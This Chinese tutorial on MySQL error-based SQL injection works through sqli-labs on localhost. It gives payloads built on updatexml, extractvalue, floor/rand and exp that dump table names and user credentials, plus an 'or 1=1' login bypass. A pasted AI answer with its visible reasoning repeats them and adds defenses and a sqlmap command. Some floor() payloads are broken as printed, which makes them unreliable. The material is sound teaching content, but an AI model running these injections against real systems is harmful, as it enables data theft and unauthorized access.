报错注入常用函数

常用的三种报错函数

1.原理

在 MYSQL 中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,
在语法发生错误会输出在前端,从而从报错信息中获取设定的信息。
select/insert/update/delete 都可以使用报错来获取信息。

2.步骤

第一步:先判断是否存在漏洞
第二步:构造错误的语法,使用对应的报错函数:
		updatexml(),extractvalue(),floor() ,exp() 
第三步:爆表名
第四步:爆字段
第五步:爆数据名
第六步:报数据值

3.函数

1.updatexml()函数

• updatexml()函数是 MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数; 
	①Xml:可扩展语言;
	②update():函数更新。
	③组合,具有查询功能的函数,用于查询xpath。
• payload:updatexml(Xml_document,Xpathstring,new_value)
	①xml_document:xml标记
	②Xpathstring:显示输入语句
	③new_value:新值
• 具体用法:updatexml(1,concat(0x7e,(select database()),0x7e),1)

• 案例1:
以sqli-labs的环境的less-1为例
①判断漏洞类型:
http://127.0.0.1/sqli-labs/Less-1/?id=1
http://127.0.0.1/sqli-labs/Less-1/?id=1’
http://127.0.0.1/sqli-labs/Less-1/?id=1’ and 1=1 #
http://127.0.0.1/sqli-labs/Less-1/?id=1’ and 1=2 #
②爆数据库名
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ and updatexml(1,concat(0x7e,(database()),0x7e),1) #
③爆数据库表名
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) #
④报字段名
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1) #
⑤数据值
http://127.0.0.1/sqli-labs/Less-1/?id=1’ and updatexml(1,substring(concat(0x7e,(select group_concat(username,0x3a,password,0x3a) from security.users),0x7e),32,64),1) #

2.extractvalue()函数

• extractvalue()函数也是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数; 
• Payload:extractvalue(xml_document,concat(0x7e,concat(database())))
• 具体用法:extractvalue(1,concat(0x7e,(select database())))

案例2:
以sqli-labs的less-11为准
①爆数据库名:
http://127.0.0.1/sqli-labs/Less-2/?id=-1’ union select 1,(extractvalue(1,concat(0x7e,(select database())))) #
结果:库名security
②爆数据库表名
http://127.0.0.1/sqli-labs/Less-2/?id=-1’ union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)))) #
结果:表名emails,referers,uagents,users
③爆字段名
http://127.0.0.1/sqli-labs/Less-2/?id=-1’union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)))) #
结果字段名id,username,password
④爆数据值
http://127.0.0.1/sqli-labs/Less-2/?id=-1’union select 1,(extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from security.users)))) #
结果数据值有:1:Dumb:Dumb,2:Angelina:I-kill-y

3.floor()函数

• floor()函数是 MYSQL 中用来取整的函数。
• 具体用法:
(select 1 from (select count(*),concat(version(),
floor(rand(0)*2))x from information_schema.tables group by x)a)#

案列3:
以sqli-labs的环境的less-1为例
①爆数据库名:
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ and (select 1 from (select count(*),concat(database(),floor(rand(0)2))x from information_schema.tables group by x)a)–+
②爆数据库表名
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ and (select 1 from (select count(
),concat((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),floor(rand(0)2))x from information_schema.tables group by x)a)–+
③爆字段名
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ and (select 1 from (select count(
),concat((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)–+
④爆数据值
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ and (select 1 from (select count(
),concat((select concat(id,username,password) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

错误点:1.group_concat与substring,limit同时用没有意义,但是也可以一起用
	  2.subtring(string,m,n);其中m是第m个,n是提取长度
	  3.还可以用not in,可以实现对数据库内容的遍历

课外补充

  3.优先级比较
  	=  >  and  >  or
例:万能密码:

将 or ‘1’=’1  ’输入到passwd里,可以直接登录

将 or ‘1’=’1  ’# 输入到用户里,可以直接登录
<think>好的,我现在需要帮助用户查找关于SQL注入报错函数的使用方法和示例。用户已经提供了一些引用内容,我需要结合这些引用来组织回答。 首先,用户提到了四个引用,其中引用1到4都涉及报错注入的不同方面。引用1解释了报错注入的基本原理,引用2和3提到了使用count()和floor()函数的例子,引用4讨论了updatexml和extractvalue函数的使用。用户的上一次问题涉及时间盲注,现在转向报错注入,可能是在学习不同类型的注入方法。 我需要确保回答结构清晰,分点说明每个报错函数的使用方法,并给出示例。同时,用户需要中文回答,所以要注意用词准确。根据用户提供的引用,报错函数包括floor()+rand()、updatexml、extractvalue等,可能还需要补充其他常见函数如exp()。 接下来,我需要检查每个函数的原理、语法、示例payload,以及注意事项。比如,floor(rand()*2)在group by时导致主键冲突,从而引发报错,这个在引用2和3中提到过。updatexml和extractvalue则是利用XPath语法错误来触发报错,这在引用4中有说明。 还要考虑不同数据库的兼容性,比如MySQL和SQL Server是否有不同的函数。用户提供的示例主要是MySQL,所以重点放在MySQL上。此外,需要提到防御措施,帮助用户了解如何防范这类攻击,比如参数化查询和错误信息处理。 用户可能还想知道如何自动化利用这些函数,比如使用sqlmap工具,但问题主要集中在手动使用方法上。因此,示例需要具体,比如如何获取数据库名、表名、字段名,每一步的payload如何构造。 最后,确保回答中的引用标记正确,例如引用[^1]、[^2]等,但根据用户提供的引用内容,可能需要调整引用编号,但用户示例中的引用是[^1]、[^2]、[^3]、[^4],所以保持原样。 总结回答结构: 1. 报错注入原理 2. 常用函数及示例(floor+rand、updatexml、extractvalue、exp) 3. 防御措施 4. 相关问题 需要确保每个函数都有详细的payload示例和解释,并注明对应的引用来源。同时,检查是否有遗漏的函数或方法,如geometrycollection等,但可能用户提供的引用中没有提到,可以暂时不提,或者简要提及。 现在开始组织内容,确保每个部分清晰,使用代码块和表格来展示示例,保持格式正确。</think>#### SQL注入报错函数使用方法详解 --- ### 一、报错注入核心原理 通过构造**特定SQL语句触发数据库报错**,将查询结果直接嵌入错误信息中返回[^1]。核心条件: 1. 应用程序未过滤错误信息(如开启`mysql_error()`输出) 2. 攻击者可控制输入参数 --- ### 二、常用报错函数及Payload示例 #### 1. `floor(rand()*2)` + `GROUP BY`(主键冲突) - **原理**:利用`GROUP BY`分组时产生的临时表主键冲突报错 - **典型Payload**: ```sql id=1' AND (SELECT COUNT(*), CONCAT((SELECT DATABASE()), 0x7e, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x)-- ``` - 输出示例:`Duplicate entry 'database_name~1' for key 'group_key'`[^2] - **应用场景**: - 获取数据库名、表名、字段名 - 逐字符提取数据(配合`SUBSTRING`函数) #### 2. `updatexml()`(XPath语法错误) - **函数语法**: ```sql UPDATEXML(XML_document, XPath_string, new_value) ``` - **Payload构造**: ```sql id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1)-- ``` - 输出示例:`XPATH syntax error: '~root@localhost~'`[^4] - **限制**: - 单次最大输出长度32字符(需配合`SUBSTRING`分段获取) - 仅适用于MySQL 5.1.5+版本 #### 3. `extractvalue()`(XPath语法错误) - **函数语法**: ```sql EXTRACTVALUE(XML_document, XPath_string) ``` - **Payload示例**: ```sql id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT @@version), 0x7e))-- ``` - 输出示例:`XPATH syntax error: '~5.7.36-log~'`[^4] #### 4. `exp()`(数值溢出报错) - **原理**:通过指数函数触发数值溢出错误 - **Payload示例**: ```sql id=1' AND EXP(~(SELECT * FROM (SELECT USER())a))-- ``` - 输出示例:`DOUBLE value is out of range` --- ### 三、分阶段数据提取示例 #### 1. 获取数据库名 ```sql id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e), 1)-- ``` #### 2. 提取表名 ```sql id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))-- ``` #### 3. 读取字段值 ```sql id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT password FROM users LIMIT 0,1), FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) a)-- ``` --- ### 四、防御措施 1. **禁用错误回显**:生产环境关闭`mysql_error()`输出[^4] 2. **参数化查询**: ```python cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) ``` 3. **函数黑名单**:过滤`updatexml`、`extractvalue`等关键词 4. **权限控制**:数据库账户仅授予最小必要权限 --- ### 五、工具辅助 使用`sqlmap`自动化注入(指定报错技术): ```bash sqlmap -u "http://example.com?id=1" --technique=E ``` 参数说明:`--technique=E` 表示使用报错注入技术 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值